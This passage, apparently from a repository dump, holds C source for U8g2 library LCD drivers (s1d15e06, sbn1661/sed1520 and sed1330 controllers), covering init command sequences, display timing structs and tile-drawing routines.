    x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n\n\t  u8x8_cad_SendCmd(u8x8, 0xB1);\t//Page Address - Row\n\t  u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n\n      y = ((u8x8_tile_t *)arg_ptr)->y_pos;\n      y += u8x8->x_offset;\n\n      u8x8_cad_SendCmd(u8x8, 0x13);\t/* col */\n      u8x8_cad_SendArg(u8x8, x);\n\n\t  u8x8_cad_SendCmd(u8x8, 0x1D );\t//Data Write\n\n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      do\n      {\n\t\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\t\targ_int--;\n      } while( arg_int > 0 );\n\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    /*\thandled in the calling procedure \n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_uc1608_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_uc1701_dogs102_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      break;\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*================================================*/\n/* s1d15e06 160x100 */\n\n\nstatic const u8x8_display_info_t u8x8_s1d15e06_160100_display_info =\n{\n  /* chip_enable_level = */ 0,\t/* s1d15e06 has low active CS */\n  /* chip_disable_level = */ 1,\n\n  /* post_chip_enable_wait_ns = */ 10,\t/* uc1608 datasheet, page 39, actually 0 */\n  /* pre_chip_disable_wait_ns = */ 20,\t/* uc1608 datasheet, page 39 */\n  /* reset_pulse_width_ms = */ 1, \t/* uc1608 datasheet, page 42 */\n  /* post_reset_wait_ms = */ 10, \t\n  /* sda_setup_time_ns = */ 30,\t\t/* uc1608 datasheet, page 41 */\n  /* sck_pulse_width_ns = */ 65,\t/* half of cycle time  */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\t/* uc1608 datasheet, page 39 */\n  /* write_pulse_width_ns = */ 65,\t/* uc1608 datasheet, page 39 */\n  /* tile_width = */ 20,\t\t/* width of 20*8=160 pixel */\n  /* tile_height = */ 13,\n  /* default_x_offset = */ 0,\t/* reused as y page offset */\n  /* flipmode_x_offset = */ 0,\t/* reused as y page offset */\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 100\n};\n\nstatic const uint8_t u8x8_d_s1d15e06_160100_init_seq[] = {\n\n  U8X8_START_TRANSFER(),           \t/* enable chip, delay is part of the transfer start */\n\n\t\t\t\t\t\t\t\t\t/* (Command no in datasheet) Description */\n  U8X8_C(0xA0|1),           \t\t/* (12) Column Address Direction (Reverse) */\n\n  U8X8_C(0xC4|1),       \t    \t/* (5) Common Output Status (Reverse) */\n  U8X8_C(0x84),            \t\t\t/* (11) Display Data In. Direction (Normal) */\n\n  U8X8_C(0xA6),            \t\t\t/* (3) Display Normal Reverse (Normal) */\n  U8X8_C(0xA4), \t           \t\t/* (4) Display All Light (Normal) */\n\n\n  U8X8_CAA(0x6D,0x18,0x04), \t\t/* (18) Duty Set Command, \n\t\t\t\t\t\t\t\t\t\tParameter \"Duty Set\" 1/96 ,\n\t\t\t\t\t\t\t\t\t\tParameter \"Start Point Set\" */\n\n  U8X8_CA(0x66, 0x01),           \t/* (15) Display Mode, Parameter 0 (4 Gray Scale) 1 (Binary) */\n  U8X8_CA(0x39, 0x43),            \t/* (16) Gray Scale Pattern Set, Pattern */\n  U8X8_C(0xBE|1),          \t  \t\t/* (2) Display Off Mode (0 VSS / 1 Vcc) */\n\n  U8X8_CA(0x2B, 0x03),\t\t\t\t/* (27) LCD Drive Mode Voltage Select, Parameter */\n\n  U8X8_CA(0x81, 0x32),\t\t        /* (28) Electronic Volume, Parameter */\n  U8X8_C(0xE4|1),\t\t\t        /* (14) N-Line On Off (On) */  \n  U8X8_CA(0x36, 0x05),\t\t        /* (13) N-Line Inversion Drive, Parameter (6x4)  */\n\n  U8X8_CA(0x41, 0x03),\t\t        /* (13) (26) Step-up CK Frequency Select, fosc/8  */\n  U8X8_CA(0x5F, 0x04),\t\t        /* (24) Built-in Oscillator Frequency, Parameter  */\n  U8X8_C(0xAA|1),\t\t\t        /* (23) Built-in OSC On */  \n\n  U8X8_CA(0x25, 0x1F),\t\t        /* (25) Power Control Set, Parameter  */\n\n  U8X8_CA(0x8A, 0x00),\t\t        /* (6) Start Line Setup, Parameter  */\n  U8X8_CA(0xB1, 0x00),\t\t        /* (7) Page Address Set, Parameter  */\n  U8X8_CA(0x13, 0x00),\t\t        /* (8) Column Address Set  */\n\n  U8X8_C(0xAE|1),\t\t\t        /* (1) Display ON/OFF */  \n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_s1d15e06_160100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n\n  /* checking for the flip mode cmd first */\n  if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n  {\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      return 1;\n  }\n  /* call the common procedure, this now leads to the effect, that the flip code is executed again */\n  /* maybe we should paste the common code here to avoid this */\n\n\n  if ( u8x8_d_s1d15e06_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_s1d15e06_160100_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_160100_init_seq);\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_sbn1661.c",
    "content": "/*\n\n  u8x8_d_sbn1661.c \n  \n  SED1520 / SBN1661 122x32 5V LCD\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_sbn1661_init_seq[] = {\n  U8X8_C(0x0c0),\t\t                /* display start at line 0  */  \n  U8X8_C(0x0a0),\t\t                /* a0: ADC forward, a1: ADC reverse */  \n  U8X8_C(0x0a4),\t\t                /* a4: normal driving, a5: power save */  \n  U8X8_C(0x0a9),\t\t                /* a8: 1/16, a9: 1/32 duty */  \n\n  //U8X8_C(0x0af),\t\t\t\t/* display on */\n  \n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sbn1661_powersave0_seq[] = {\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sbn1661_powersave1_seq[] = {\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstruct u8x8_sbn1661_vars\n{\n  uint8_t *ptr;\n  uint8_t x;\n  uint8_t c;\n  uint8_t arg_int;\n};\n\n#ifdef NOT_USED\nstatic void u8x8_sbn1661_out(u8x8_t *u8x8, struct u8x8_sbn1661_vars *v, void *arg_ptr)\n{\n  uint8_t cnt;\n  u8x8_cad_SendCmd(u8x8, 0x000 | ((v->x << 3) & 63) );\n  u8x8_cad_SendCmd(u8x8, 0x0b8 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n  \n  while( v->arg_int > 0 )\n  {\n      /* calculate tiles to next boundary (end or chip limit) */\n      cnt = v->x;\n      cnt += 8;\n      cnt &= 0x0f8;\n      cnt -= v->x;\n            \n      if ( cnt > v->c )\n\tcnt = v->c;\n    \n      /* of course we still could use cnt=1 here... */\n      /* but setting cnt to 1 is not very efficient */\n      //cnt = 1;\n    \n      v->x +=cnt;\n      v->c-=cnt;\n      cnt<<=3;\n      u8x8_cad_SendData(u8x8, cnt, v->ptr);\t/* note: SendData can not handle more than 255 bytes */    \n      v->ptr += cnt;\n    \n      if ( v->c == 0 )\n      {\n\tv->ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tv->c = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tv->arg_int--;\n      }\n      if ( ((v->x) & 7) == 0 )\n\tbreak;       \n  } \n}\n#endif /* NOT_USED */\n\n\nstatic const u8x8_display_info_t u8x8_sbn1661_122x32_display_info =\n{\n  /* chip_enable_level = */ 0,\t\t/* sbn1661: Not used */\n  /* chip_disable_level = */ 1,\t\t/* sbn1661: Not used */\n  \n  /* post_chip_enable_wait_ns = */ 100,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \t\t/*  */\n  /* sda_setup_time_ns = */ 12,\t\t\n  /* sck_pulse_width_ns = */ 75,\t/* sbn1661: Not used */\n  /* sck_clock_hz = */ 4000000UL,\t/* sbn1661: Not used */\n  /* spi_mode = */ 0,\t\t\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* sbn1661: Not used */\n  /* data_setup_time_ns = */ 200,\n  /* write_pulse_width_ns = */ 200,\t/*  */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 122,\n  /* pixel_height = */ 32\n};\n\nuint8_t u8x8_d_sbn1661_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t *ptr;\n  //uint8_t x;\n  //uint8_t c;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sbn1661_122x32_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n    \n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 0, NULL);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_init_seq);\n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n    \n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_init_seq);\n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 1, NULL);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      \n      if ( arg_int == 0 )\n      {\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 0, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_powersave0_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_powersave0_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 1, NULL);\t\n      }\n      else\n      {\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 0, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_powersave1_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n\t\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_powersave1_seq);\n\tu8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 1, NULL);\n\t\n      }\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      // x and c are ignored (u8g2 only)\n      //x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      //c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      \n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 0, NULL);\n      u8x8_cad_SendCmd(u8x8, 0x000 | 0);\t\t// column 0\n      u8x8_cad_SendCmd(u8x8, 0x0b8 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n      u8x8_cad_SendData(u8x8, 61, ptr);\t/* note: SendData can not handle more than 255 bytes */    \n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL);\n\n      ptr += 61;\n      \n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL);\n      u8x8_cad_SendCmd(u8x8, 0x000 | 0);\t\t// column 0\n      u8x8_cad_SendCmd(u8x8, 0x0b8 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      u8x8_cad_SendData(u8x8, 61, ptr);\t/* note: SendData can not handle more than 255 bytes */    \n      u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 1, NULL);\n    \n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nuint8_t u8x8_d_sed1520_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  return u8x8_d_sbn1661_122x32(u8x8, msg, arg_int, arg_ptr);\n\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_sed1330.c",
    "content": "/*\n\n  u8x8_d_sed1330.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  The device might also work with the RA8835, SED1335 and SED1336 controller.\n  The following devices might be compatible:\n    RA8835\n    SED1330\n    SED1335\n    S1D13700\n\n\n*/\n#include \"u8x8.h\"\n\n\n\nstatic const uint8_t u8x8_d_sed1330_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x040, 0x030),\t\t/* sys init (0x040) with one arg, where 0x030 is a wild guess */\n  U8X8_CA(0x059, 0x004),               /* send display on command (hex 0x059, see p37 ) */\n\t\t\t\t\t\t\t/* display cmd has one arg: 01010100 should enable all three blocks, but disable the cursor*/\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_sed1330_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x058, 0x000),               /* send display off command (hex 0x059, see p37) and turn of all banks */\n  /* maybe send a sleep in cmd */\n  //U8X8_C(0x053)\t\t\t\t/* sleep in: 0x053 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_sed1330_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t c, i;\n  uint16_t y;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */\n    /*\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y*=8;\n      y*= u8x8->display_info->tile_width;\n    \n      u8x8_cad_StartTransfer(u8x8);\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\t/* data ptr to the tiles */\n      for( i = 0; i < 8; i++ )\n      {\n\tu8x8_cad_SendCmd(u8x8, 0x046 );\t/* CSRW command*/\n\tu8x8_cad_SendArg(u8x8, y&255);\t\t/* CSRW low adr byte */\n\tu8x8_cad_SendArg(u8x8, y>>8);\t\t/* CSRW high adr byte */\n\tu8x8_cad_SendCmd(u8x8, 0x042 );\t/* MWRITE */\n\t\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes, send one line of data */\n\t\n\tptr += u8x8->display_info->tile_width;\n\ty += u8x8->display_info->tile_width;\n      }\n\n      /* sometimes the display switches off... so just sent a display on command */\n      u8x8_cad_SendCmd(u8x8, 0x059 );\t/* display on */\n      u8x8_cad_SendArg(u8x8, 0x004);\t/* arg for display on */\n\n      u8x8_cad_EndTransfer(u8x8);\n      //u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL);\t/* extra dely required */\n\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=============================================*/\n\n\nstatic const u8x8_display_info_t u8x8_sed1330_240x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 30,\t/* G242CX Datasheet p5 */\n  /* pre_chip_disable_wait_ns = */ 10,\t/* G242CX Datasheet p5 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 120,\t\t/* G242CX Datasheet p5 */\n  /* write_pulse_width_ns = */ 220,\t\t/* G242CX Datasheet p5 */\n  /* tile_width = */ 0x01e,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 128\n};\n\n/* 240x128 Seiko G242C */\nstatic const uint8_t u8x8_d_sed1330_240x128_init_seq[] = {\n  U8X8_DLY(100),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(100),\n\n  /* system init command, see also u8x8_d_sed1330_powersave0_seq */\n  U8X8_CA(0x040, 0x030),\t\t/* sys init (0x040) with one arg, where 0x030 is a wild guess */\n  /* system init has total 8 parameters, so 7 more are here */\n  U8X8_A(0x087),\t\t\t\t/* no idea here... WF (topmost bit) is set to one because it is suggested in the datasheet, lowest 3 bits refer to text mode only */\n  U8X8_A(0x007),\t\t\t\t/* FY: height of a char+1, does not matter here (hopefully), because we use graphics mode only */\n  U8X8_A(0x01d),\t\t\t\t/* C/R: this could be the number of horizontal bytes - 1 (Value confirmed with app notes p41) */\n  U8X8_A(0x050),\t\t\t\t\t/* TC/R: According to app notes fOSC=6Mhz fFF=70Hz --> TC/R = 74d*/\n  U8X8_A(0x080),\t\t\t\t/* L/F: Lines per frame - 1, probably this is the height of the display - 1 (value confirmed with app notes p41)*/\n  U8X8_A(0x01e),\t\t\t\t/* Low byte of the virtual screen size. (Value confirmed with app notes p41)   */\n  U8X8_A(0),\t\t\t\t\t/* High byte of the virtual screen size, see also section 9.1.2 */\n\t\n  U8X8_C(0x044),\t\t\t\t/* SCROLL */\n  U8X8_A(0x000),\t\t\t\t\n  U8X8_A(0x000),\t\t\t\t\n  U8X8_A(0x080),\n  U8X8_A(0x000),\n  U8X8_A(0x040),\n  U8X8_A(0x080),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n\t\n  U8X8_CA(0x05a, 0),\t\t\t/* HDOT SCR: Horizontal dotwise scroll... set to 0 */\n\t\n  U8X8_CA(0x05b, 0x0c),\t\t\t/* OVLAY: 2-layer, all graphics, OR between layer 1 and 2 */\n\n\n  U8X8_DLY(100),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_DLY(100),\n};\n\n/* RA8835 NHD-240128BZ */\nstatic const uint8_t u8x8_d_rh8835_nhd_240128_init_seq[] = {\n  U8X8_DLY(100),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(100),\n\n  /* system init command, see also u8x8_d_sed1330_powersave0_seq */\n  U8X8_CA(0x040, 0x030),\t\t/* sys init (0x040) with one arg, where 0x030 is a wild guess */\n  /* system init has total 8 parameters, so 7 more are here */\n  U8X8_A(0x087),\t\t\t\t/* no idea here... WF (topmost bit) is set to one because it is suggested in the datasheet, lowest 3 bits refer to text mode only */\n  U8X8_A(0x007),\t\t\t\t/* FY: height of a char+1, does not matter here (hopefully), because we use graphics mode only */\n  U8X8_A(0x01d),\t\t\t\t/* C/R: this could be the number of horizontal bytes - 1 (Value confirmed with app notes p41) */\n  U8X8_A(0x050),\t\t\t\t\t/* TC/R: According to app notes fOSC=6Mhz fFF=70Hz --> TC/R = 74d*/\n  U8X8_A(0x080),\t\t\t\t/* L/F: Lines per frame - 1, probably this is the height of the display - 1 (value confirmed with app notes p41)*/\n  U8X8_A(0x01e),\t\t\t\t/* Low byte of the virtual screen size. (Value confirmed with app notes p41)   */\n  U8X8_A(0),\t\t\t\t\t/* High byte of the virtual screen size, see also section 9.1.2 */\n\n  U8X8_C(0x044),\t\t\t\t/* SCROLL */\n  U8X8_A(0x000),\t\t\t\t\n  U8X8_A(0x000),\t\t\t\t\n  U8X8_A(0x080),\n  U8X8_A(0x000),\n  U8X8_A(0x040),\n  U8X8_A(0x080),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n  U8X8_A(0x000),\n\t\n  //U8X8_CA(0x05a, 0),\t\t\t/* HDOT SCR: Horizontal dotwise scroll... set to 0 */\n\t\n  U8X8_CA(0x05b, 0x0c),\t\t\t/* OVLAY: 2-layer, all graphics, OR between layer 1 and 2 */\n\n  //U8X8_CA(0x059, 0x04),               /* send display on command (hex 0x059, see p37 ) */\n  \n  U8X8_DLY(100),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_DLY(100),\n  \n};\n\n\nuint8_t u8x8_d_sed1330_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sed1330_240x128_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_240x128_init_seq);\n      break;\n    default:\n      return u8x8_d_sed1330_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\nuint8_t u8x8_d_ra8835_nhd_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sed1330_240x128_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_rh8835_nhd_240128_init_seq);\n      break;\n    default:\n      return u8x8_d_sed1330_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n\n/*=============================================*/\n\n\nstatic const u8x8_display_info_t u8x8_sed1330_320x240_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 30,\t/* G242CX Datasheet p5 */\n  /* pre_chip_disable_wait_ns = */ 10,\t/* G242CX Datasheet p5 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 120,\t\t/* G242CX Datasheet p5 */\n  /* write_pulse_width_ns = */ 220,\t\t/* G242CX Datasheet p5 */\n  /* tile_width = */ 40,\n  /* tile_height = */ 30,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 320,\n  /* pixel_height = */ 240\n};\n\nstatic const uint8_t u8x8_d_sed1330_320x240_init_seq[] = {\n  U8X8_DLY(100),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(100),\n\n  /* system init command, see also u8x8_d_sed1330_powersave0_seq */\n  U8X8_CA(0x040, 0x030),\t\t/* sys init (0x040) with one arg, where 0x030 is a wild guess */\n  /* system init has total 8 parameters, so 7 more are here */\n  